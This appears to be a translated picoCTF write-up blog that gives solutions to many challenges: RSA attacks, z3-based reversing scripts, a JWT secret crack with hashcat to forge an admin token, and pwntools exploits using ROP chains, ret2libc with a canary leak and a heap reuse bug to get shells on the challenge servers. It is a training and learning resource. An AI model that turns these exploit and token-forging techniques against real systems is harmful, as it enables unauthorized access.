picoCTF WriteUps
This article is automatically translated by LLM, so the translation may be inaccurate or incomplete. If you find any mistake, please let me know.
You can find the original article here .
This article will describe the methods I used to solve some of the higher-scoring problems in the picoGym section of picoCTF.
The content will be updated gradually based on my progress in solving the problems. Last updated: 2020/12/09.
Cryptography
la cifra de
The title is in French, and the ciphertext is obviously a Vigenère cipher. Just look up an online decoder.
rsa-pop-quiz
There are many questions about RSA, but if you are familiar with it, it's very simple. I recommend opening a Python interpreter for calculations. Convert the final plaintext to a string to get the flag.
For some reason, the socket stops responding after being idle for a while.
Tapping
Morse Code
Mr-Worldwide
There are many coordinates that are obviously latitude and longitude. Put them into Google Maps to see the English name of the location and take the first letter (uppercase). For example, (35.028309, 135.753082) points to Kyoto, so the letter is K (Kyoto).
waves over lambda
This is clearly a substitution cipher. Use an online solver like this one to solve it.
miniRSA
The value of is 3, so you can attack it using the cube root method. See CTF Wiki for details.
import gmpy2
n = 29331922499794985782735976045591164936683059380558950386560160105740343201513369939006307531165922708949619162698623675349030430859547825708994708321803705309459438099340427770580064400911431856656901982789948285309956111848686906152664473350940486507451771223435835260168971210087470894448460745593956840586530527915802541450092946574694809584880896601317519794442862977471129319781313161842056501715040555964011899589002863730868679527184420789010551475067862907739054966183120621407246398518098981106431219207697870293412176440482900183550467375190239898455201170831410460483829448603477361305838743852756938687673
c = 2205316413931134031074603746928247799030155221252519872649649212867614751848436763801274360463406171277838056821437115883619169702963504606017565783537203207707757768473109845162808575425972525116337319108047893250549462147185741761825125
for k in range(100000):
[r, exact] = gmpy2.iroot(c+n*k, 3)
if exact:
print(k)
print(bytes.fromhex(hex(r)[2:]))
Because the numbers are very large, you can't use
pow
to verify if it's a perfect cube, so I usedgmpy2
.Another method is to use RsaCtfTool's
cube_root
attack, which uses binary search.
b00tl3gRSA2
The value of we get is very large, but in practical applications, is not that large, so that is probably .
Mathematically, using or to encrypt in RSA makes no difference, but because and generally have a significant size difference, there are special methods to break RSA in certain situations. For example, a Google search for RSA small d tells us about Wiener's attack, which can be applied in this situation.
To attack, just use RsaCtfTool: python RsaCtfTool.py -e $e -n $n --uncipher $c --attack wiener
.
AES-ABC
Looking at the code, it uses AES-ECB and then performs some strange operations. ECB is not good for protecting data in images, as explained on Wikipedia.
So we just need to find the original ECB-encrypted ciphertext. The operations are basically blocks[0]=iv
and blocks[i+1]=(blocks[i] + ecb_blocks[i+1]) % UMAX
, so we just reverse the operations:
from z3 import *
with open('body.enc.ppm', 'rb') as f:
header = f.readline()+f.readline()+f.readline()
cur = f.tell()
sz = f.seek(0, 2)-cur
f.seek(cur)
blocks = []
for i in range(sz//16):
blocks.append(int.from_bytes(f.read(16), byteorder='big'))
UMAX = 256**16
blocks_ebc = []
for i in range(len(blocks)-1):
blocks_ebc.append((blocks[i+1]-blocks[i]) % UMAX)
data = header+b''.join([blk.to_bytes(16, byteorder='big')
for blk in blocks_ebc])
with open('body.ppm', 'wb') as f:
f.write(data)
You can also use z3 to solve it, but it takes more time (about a minute) because of the large amount of data.
b00tl3gRSA3
The key to this problem is that it uses multiple prime numbers, which are easier to factorize than two prime numbers. So just factorize it, calculate , and then find to decrypt.
from pwn import *
from sympy.ntheory import factorint
p = remote("jupiter.challenges.picoctf.org", 51575)
p.readuntil('c: ')
c = int(p.readline())
p.readuntil('n: ')
n = int(p.readline())
p.readuntil('e: ')
e = int(p.readline())
print(c, n, e)
def totient(n):
f = factorint(n)
print(f)
r = 1
for a, b in f.items():
r *= a**(b-1) * (a-1)
return r
l = totient(n)
print(l)
d = pow(e, -1, l)
m = pow(c, d, n)
print(bytes.fromhex(hex(m)[2:]))
john_pollard
First, use openssl to get the public key: openssl x509 -pubkey -noout -in cert > cert.pub
, then output its information openssl rsa -pubin -in cert.pub -text
:
RSA Public-Key: (53 bit)
Modulus: 4966306421059967 (0x11a4d45212b17f)
Exponent: 65537 (0x10001)
writing RSA key
-----BEGIN PUBLIC KEY-----
MCIwDQYJKoZIhvcNAQEBBQADEQAwDgIHEaTUUhKxfwIDAQAB
-----END PUBLIC KEY-----
If you don't want to use openssl, you can use RsaCtfTool's
--dumpkey
feature to easily get the RSA parameters.
You will see that is very small, so put it into WolframAlpha to factorize it: factor 4966306421059967.
After getting and , input them in the format picoCTF{p,q}
. If it's wrong, swap them.
Reverse Engineering
vault-door-1
Very simple, just reorder according to the index. If you don't want to do it manually, you can write a simple program to handle it:
s = `` // 有 index 的那段 java 程式
o = Object.assign(
...s.split('\n').map((l) => {
let i = parseInt(/\d+/.exec(l)[0])
let ch = /'(\w+)'/.exec(l)[1]
return { [i]: ch }
})
)
o.length = 32
console.log(Array.from(o).join(''))
vault-door-3
You can reverse the algorithm manually, but if you're lazy, you can use z3:
from z3 import *
p = String('p')
s = Solver()
s.add(Length(p) == 32)
chs = list('jU5t_a_sna_3lpm18g947_u_4_m9r54f')
for i in range(0, 8):
s.add(p[i] == ord(chs[i]))
for i in range(8, 16):
s.add(p[i] == ord(chs[23-i]))
for i in range(16, 32, 2):
s.add(p[i] == ord(chs[46-i]))
for i in range(31, 16, -2):
s.add(p[i] == ord(chs[i]))
if s.check() == sat:
print(s.model())
else:
print(s.unsat_core())
vault-door-4
Just convert the various formats until Python can accept the input and paste it in.
vault-door-5
Base64 + URL encoding
vault-door-6
Use Python to perform XOR
vault-door-7
Simple shifting:
x = [1096770097, 1952395366, 1600270708, 1601398833,
1716808014, 1734304867, 942695730, 942748212]
flag = b''
for y in x:
flag += bytes.fromhex(hex(y)[2:])
print(flag)
vault-door-8
I didn't want to rewrite the algorithm in Python, so I directly modified the Java code:
import java.util. * ;
import java.lang. * ;
import java.io. * ;
class Ideone {
public static void main(String[] args) throws java.lang.Exception {
char[] ar = {
// 很長的那個陣列,請自己貼上
};
for (int i = 0; i < ar.length; i++) {
char c = ar[i];
c = switchBits(c, 6, 7);
c = switchBits(c, 2, 5);
c = switchBits(c, 3, 4);
c = switchBits(c, 0, 1);
c = switchBits(c, 4, 7);
c = switchBits(c, 5, 6);
c = switchBits(c, 0, 3);
c = switchBits(c, 1, 2);
ar[i] = c;
}
System.out.println(new String(ar));
}
public static char switchBits(char c, int p1, int p2) {
char mask1 = (char)(1 << p1);
char mask2 = (char)(1 << p2);
char bit1 = (char)(c & mask1);
char bit2 = (char)(c & mask2);
char rest = (char)(c & ~ (mask1 | mask2));
char shift = (char)(p2 - p1);
char result = (char)((bit1 << shift) | (bit2 >> shift) | rest);
return result;
}
}
Forky
The simple way is to open it in gdb, set a breakpoint at doNothing
, and then p/d $eax
to see the answer (make sure it's signed).
Analyzing it, you will find it forks four times, so there are 1*2*2*2*2
children, so the final value will be 1000000000 + 16 * 1234567890
.
OTP Implementation
After decompiling, you will see some strange algorithms, but using z3 will easily solve it:
from z3 import *
x = [ord(c)-97 for c in "lfmhjmnahapkechbanheabbfjladhbplbnfaijdajpnljecghmoafbljlaamhpaheonlmnpmaddhngbgbhobgnofjgeaomadbidl"]
key = String('key')
s = Solver()
s.add(Length(key) == len(x))
def fn(a1):
v2 = If(a1 > 96, a1+9, a1)
v3 = 2*(v2 % 16)
return If(v3 > 15, v3+1, v3)
for i in range(len(x)):
c = key[i]
s.add(Or(And(47 < c, c <= 57), And(96 < c, c <= 102)))
s.add(fn(key[0]) % 16 == x[0])
for i in range(1, len(x)):
v4 = fn(key[i])
v5 = x[i-1]+v4
v6 = (((x[i-1]+v4) >> 31) & 0xffffffff) >> 28
s.add(x[i] == (((v6+v5) & 0xF)-v6))
assert(s.check() == sat)
m = s.model()
key = m[key].as_string()
print(key)
k = int(key, 16)
flag = int(
"a5d47ae6ffa911de9d2b1b7611c47a1c43202a32f0042246f822c82345328becd5b8ec4118660f9b8cdc98bd1a41141943a9", 16)
flag ^= k
print(''.join([chr(c) for c in bytes.fromhex(hex(flag)[2::])]))
reverse_cipher
Again, solve it with z3:
from z3 import *
target = [ord(c) for c in "w1{1wq84fb<1>49"]
key = String('key')
s = Solver()
s.add(Length(key) == len(target))
for i in range(len(target)):
c = key[i]
s.add(If(i & 1 != 0, c-2, c+5) == target[i])
assert(s.check() == sat)
print('picoCTF{%s}' % s.model()[key].as_string())
asm1
Although you can read asm yourself, I thought it might be easier to write a program to execute it directly:
import sys
import re
from pwn import *
if len(sys.argv) < 3:
# python asm.py $FILE $PREFIX
sys.exit()
with open(sys.argv[1], 'r') as f:
lines = f.readlines()
prog = ''
lst_lbl = None
for line in lines[1:]:
line = re.sub(r'<\+(\d+)>', r'L\1', line)
line = re.sub(r'0x.*?<.*?\+(\d+)>', r'L\1', line)
prog += line
lbl = re.search(r'L\d+', line)
if lbl:
lsl_lbl = lbl[0]
def wrap(prog, prefix):
return f'{prefix};push eax;'+prog
prog = wrap(prog, sys.argv[2])
print(prog)
context.arch = 'x86'
context.terminal = ['xfce4-terminal', '-e'] # 要改成自己可以用的 terminal emulator
gdb.debug_assembly(prog, gdbscript=f'b {lst_lbl}\nc\np $eax')
Call this program with: python asm.py asm1.S "push 0x2e0;"
to get the answer.
asm2
Use the asm1 program and call python asm.py asm2.S "push 0x2d;push 0x4;"
.
asm3
Use the asm1 program and call python asm.py asm3.S "push 0xd3c8b139;push 0xd48672ae;push 0xd73346ed;"
.
asm4
This one requires calling a string, so you can't use the above program. You need to assemble it separately.
My first solution was using MASM on Windows and the Irvine32 library functions.
Another method is to write a C program and let gcc assemble it:
#include <stdio.h>
int asm4(char *s);
int main() {
printf("0x%x", asm4("picoCTF_a3112"));
}
import os
import sys
import re
if len(sys.argv) < 3:
print(f'python {sys.argv[0]} $ASM_FILE $C_FILE')
sys.exit()
asm_file = sys.argv[1]
c_file = sys.argv[2]
with open(asm_file, 'r') as f:
lines = f.readlines()
prog = ''
lst_lbl = None
for line in lines:
line = re.sub(r'<\+(\d+)>:', r'', line)
line = re.sub(r'0x.*?<(.*?\+\d+)>', r'\1', line)
prog += line
lbl = re.search(r'L\d+', line)
if lbl:
lsl_lbl = lbl[0]
fname=lines[0].split(':')[0]
with open(f'{asm_file}.tmp.S', 'w') as f:
f.write(f'.intel_syntax noprefix\n.global {fname}\n'+prog+'\n.att_syntax noprefix')
os.system(f'gcc -m32 -c {asm_file}.tmp.S -o {asm_file}.o')
os.system(f'gcc -m32 -c {c_file} -o {c_file}.o')
os.system(f'gcc -m32 {c_file}.o {asm_file}.o -o a.out')
os.system(f'./a.out')
os.system(f'rm a.out')
os.system(f'rm {asm_file}.tmp.S')
os.system(f'rm {asm_file}.o {c_file}.o')
Then execute python asm.py asm4.S asm4.c
.
Need For Speed
Opening it in IDA, you will see it uses alarm
to handle it, so open it in gdb, use handle SIGALRM ignore
, and let it run. The flag will appear.
Web Exploitation
Java Script Kiddie
The program treats a fixed number of bytes as a 2D array and performs some shifting. Since the result is a PNG, we can be sure that the final result has some block information, such as Header, IHDR, IEND, which can be used as constraints for z3:
from z3 import *
from functools import reduce
data = [] # bytes
s = Solver()
arr = Array('arr', IntSort(), IntSort())
for i in range(len(data)):
s.add(arr[i] == data[i]) # arr = Store(arr, i, data[i]) is very slow
shifters = [Int(f's_{i}') for i in range(16)]
for x in shifters:
s.add(0 <= x)
s.add(x <= 9)
result = [0]*len(data)
for i in range(16):
shifter = shifters[i]
for j in range(len(data)//16):
result[(j*16)+i] = arr[(((j+shifter)*16) % len(data))+i]
header = [0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a,0x0a,
0x00, 0x00, 0x00, 0x0d, 0x49, 0x48, 0x44, 0x52] # Header + IHDR
for i in range(len(header)):
s.add(result[i] == header[i])
while s.check() == sat:
m = s.model()
shs = [m[x].as_long() for x in shifters]
result=[0]*len(data)
for i in range(16):
sh=shs[i]
for j in range(len(data)//16):
result[(j*16)+i] = data[(((j+sh)*16) % len(data))+i]
if 'IEND' in ''.join([chr(c) for c in result]): # Checks for IEND as there are multiple satisifying solutions
print(''.join([str(s) for s in shs]))
s.add(reduce(Or, [x != m[x].as_long() for x in shifters]))
Java Script Kiddie 2
This problem is similar to the previous one, but the key length is doubled. However, it's easy to see that only half of the characters in the key are actually used, so it's essentially the same as the previous problem. When solving with z3, you will find that checking only IEND is not enough; you also need to include the length marker and CRC. Then you will find only two solutions, and you can manually test them:
from z3 import *
from functools import reduce
data = [] # bytes
s = Solver()
arr = Array('arr', IntSort(), IntSort())
for i in range(len(data)):
s.add(arr[i] == data[i]) # arr = Store(arr, i, data[i]) is very slow
shifters = [Int(f's_{i}') for i in range(16)]
for x in shifters:
s.add(0 <= x)
s.add(x <= 9)
result = [0]*len(data)
for i in range(16):
shifter = shifters[i]
for j in range(len(data)//16):
result[(j*16)+i] = arr[(((j+shifter)*16) % len(data))+i]
header = [0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a,
0x0a, 0x00, 0x00, 0x00, 0x0d, 0x49, 0x48, 0x44, 0x52] # Header + IHDR
for i in range(len(header)):
s.add(result[i] == header[i])
while s.check() == sat:
m = s.model()
shs = [m[x].as_long() for x in shifters]
result = [0]*len(data)
for i in range(16):
sh = shs[i]
for j in range(len(data)//16):
result[(j*16)+i] = data[(((j+sh)*16) % len(data))+i]
if ''.join([chr(c) for c in [0x00, 0x00, 0x00, 0x00, 0x49, 0x45, 0x4e, 0x44, 0xae, 0x42, 0x60, 0x82]]) in ''.join([chr(c) for c in result]): # Full IEND
print(''.join([str(s)+'0' for s in shs]))
s.add(reduce(Or, [x != m[x].as_long() for x in shifters]))
JaWT Scratchpad
This problem requires you to log in as an admin, but it doesn't let you do so directly. The verification method uses a JWT stored in a cookie.
JWT is a method to store non-confidential information on the client side without allowing the client to tamper with the data. The concept is to store data + '.' + hash(data + secret)
in the cookie. When the server receives it, it verifies if the data and the hashed signature match. The client side cannot generate the signature without the secret, so it cannot tamper with the data. However, since it's a hash, you can try to brute force the secret or use a dictionary attack.
After logging into any account, get the JWT from the cookie and check its data on jwt.io. It simply stores a username, so once you find the secret, you can change the username.
The webpage provides a link to JohnTheRipper, suggesting how to find the secret. However, I have used hashcat before, so I used it instead. You can try a dictionary attack: .\hashcat.exe -a0 -m 16500 "JWT here" dictionary file path
.
Although hashcat has a default example.dict
, it's too small to find the answer for this problem. You need a larger dictionary file, like the one from CrackStation (crackstation-human-only.txt
).
Using hashcat on an RTX2080S with that dictionary file, it found the secret in a few seconds. After getting the secret, modify the JWT to see the flag.
General Skills
mus1c
The lyrics look like a programming language, and I remember hearing about a language that lets you write programs with lyrics. A quick Google search reveals it's rockstar.
The website has an interpreter, so paste the lyrics and run it to get some numbers. Convert them to ASCII to get the flag.
1_wanna_b3_a_r0ck5tar
This problem is a continuation of the previous one, but running it directly doesn't show anything. It seems to require correct input, but without knowing the language, it's hard to figure out. So I looked for a tool to convert it to another language and found rockstar-py. Converting it makes it easy to see the correct input.
flag_shop
The goal is to get enough money to buy the flag by making the number of flags exceed 100000. Notice that when entering number_flags
, it's int32, and total_case = 900 * number_flags
is also int32. So you need to overflow it to a negative number by entering a large enough number.
After solving it, I was curious about the minimum input needed to have enough money, so I calculated it (note that the flag purchase check is balance > 100000
):
from z3 import *
x = BitVec('x', 32)
solve((x*900) % (1 << 31) == -100000+1100-4) # [x = 830360234]
Binary Exploitation
Guessing Game 1
This problem asks you to guess a number, and there's no buffer overflow issue in that part. However, after guessing the correct number, the win()
function has a buffer overflow.
Next, use checksec
to check the protections:
> /usr/bin/checksec --file=vuln
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 1844) Symbols No 0 0 vuln
It shows NX is enabled, so the stack is non-executable. Consider using ROP to call execve.
For those unfamiliar with ROP, I recommend this article: Buffer Overflow Attack Part 3.
To call execve("/bin/sh", NULL, NULL)
, you need:
mov rax, 0xb ; execve
mov rbx, 0x12345678 ; address of "/bin/sh"
mov ecx, 0
mov edx, 0
int 0x80 ; syscall
First, you need space to store "/bin/sh". Use objdump -s -j .data ./vuln
to find a suitable memory location. To store data in memory, you need an instruction like mov qword ptr [rdx], rax
. Use ROPgadget --binary ./vuln --only 'mov|ret' | grep ptr
to find relevant gadgets. I used 0x000000000047ff91 : mov qword ptr [rsi], rax ; ret
.
To store the data, set rsi
to the memory location and rax
to /bin/sh
(8 bytes, one instruction in 64-bit). Modify the grep command to find the necessary gadgets.
To change rbx
, I found 0x0000000000482776 : pop rax ; pop rdx ; pop rbx ; ret
(using ROPgadget --binary vuln --only 'pop|ret' | grep rbx
), which also modifies rax
and rdx
.
For rcx
, it's likely to be 0, and there's no pop rcx
gadget, so ignore it.
The final payload is:
from pwn import *
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF('./vuln')
pop_rsi = 0x410ca3
binsh = 0x6bb400 # random chosen data section
pop_rax = 0x4163f4
mov_dword_ptr_rsi_rax = 0x47ff91
pop_rax_rdx_rbx = 0x482776
int_80 = 0x468fea
rop = flat([pop_rsi, binsh, pop_rax, b'/bin/sh\0',
mov_dword_ptr_rsi_rax, pop_rax_rdx_rbx, 0xb, 0x0, binsh, int_80])
payload = b'a'*(0x70+8) + rop
p = remote('jupiter.challenges.picoctf.org', 51462) # process('./vuln')
while True:
line = p.readline()
if b"like to guess" in line:
p.sendline("2")
elif b"Congrats" in line:
p.sendline(payload)
break
p.interactive()
Guessing Game 2
First, it asks you to guess a number. The get_random
function returns the address of the rand
function, so you can find it using gdb. However, since it's running on a remote server with different libc versions, you need to brute force it:
from pwn import *
p = remote('jupiter.challenges.picoctf.org', 13775)
for i in range(-4100, 4100): # Note: -5 % 3 == -1 in C
p.recvuntil('What number')
p.sendline(str(i))
if b'Congrats' in p.recvline():
print(i)
break
For those who don't want to spend time on this, the answer is -31.
Next, the win()
function has obvious buffer overflow and format string issues. Use checksec
to see the protections: NX, Canary, RELRO, but no PIE. Use ROPgadget to check for syscall
or int 0x80
, but find none. There's no /bin/sh
string either, so return to libc is the only option.
Since no libc is provided, find it locally using gdb to get important addresses and the format string offset. Use LibcSearcher to find the libc version and calculate the addresses.
After finding the addresses, overwrite the return address with system
, ret+4 with a dummy address, and ret+8 with the /bin/sh
address to simulate an x86 function call. Remember to overwrite the canary. If there's a null byte issue, find an offset pointing to the stack, get its value, find the canary address on the stack, and use printf()
to write it:
from pwn import *
from LibcSearcher import LibcSearcher
context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'i386'
def bytehex2int(x):
return int(str(x[2:], 'ascii'), 16)
p = remote('jupiter.challenges.picoctf.org', 13775) # process('./vuln')
def write_payload(payload):
# remote = -31 # my libc = -1263 # libc patched version = -3023
p.sendline('-31')
p.recvuntil('Name?')
p.sendline(payload)
p.recvuntil('Congrats: ')
return p.recvline()[:-1]
offset = 7
# canary offset = 119, ret offset = 139, printf+5 offset = 134, ptr to welecome stk str = 51
resp = write_payload('%119$p %139$p %134$p %51$p')
canary, ret, printf, welcome_str_stk_addr = [
bytehex2int(x) for x in resp.split(b' ')]
printf -= 5
canary_addr = welcome_str_stk_addr+260 # canary address on stack
print(hex(canary))
print(hex(ret))
print(hex(printf))
libc = LibcSearcher('printf', printf) # server's libc is libc6-i386_2.27-3ubuntu1.2_amd64
base = printf-libc.dump('printf')
system = base+libc.dump('system')
binsh = base+libc.dump('str_bin_sh')
print(hex(system))
print(hex(binsh))
# override canary using printf as `gets` won't read pass null byte
write_canary = fmtstr_payload(offset, {canary_addr: canary})
junk = b'a'*(0x200-len(write_canary))
payload = write_canary+junk+p32(canary)+b'a'*12+flat([system, 0, binsh])
print(write_payload(payload))
p.interactive()
messy-malloc
This problem frees user
first and then username
during logout. When logging in, it mallocs user
first and then username
. If username
is the same size as user
(32 bytes), the second account will share the memory space with the previous username
, so the values will be the same.
from pwn import *
payload = b'a'*8+b'ROOT_ACCESS_CODE'
print(payload)
p = remote('jupiter.challenges.picoctf.org', 19568) # process('./auth')
p.sendlineafter("command", "login")
p.sendlineafter("length", "31")
p.sendlineafter("username", payload)
p.sendlineafter("command", "logout")
p.sendlineafter("command","login")
p.sendlineafter("length","31")
p.sendlineafter("username","C8763")
p.sendlineafter("command", "print-flag")
p.recv(2)
print(p.recvline())
To successfully use this, the libc version may need to match. Using the original binary without patching may fail.
seed-sPRiNG
This problem seeds srand(time(0))
and generates 30 numbers, which you need to input correctly. The idea is to do the same thing at the same time and output the results.
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main() {
srand(time(0));
for (int i = 1; i <= 30; i++) {
printf("%d\n", rand() & 0xF);
}
return 0;
}
Running this locally and piping it into nc won't work due to time differences and latency. However, picoCTF provides a webshell feature that runs on their server. Upload, compile, and execute it there, then pipe the output into nc.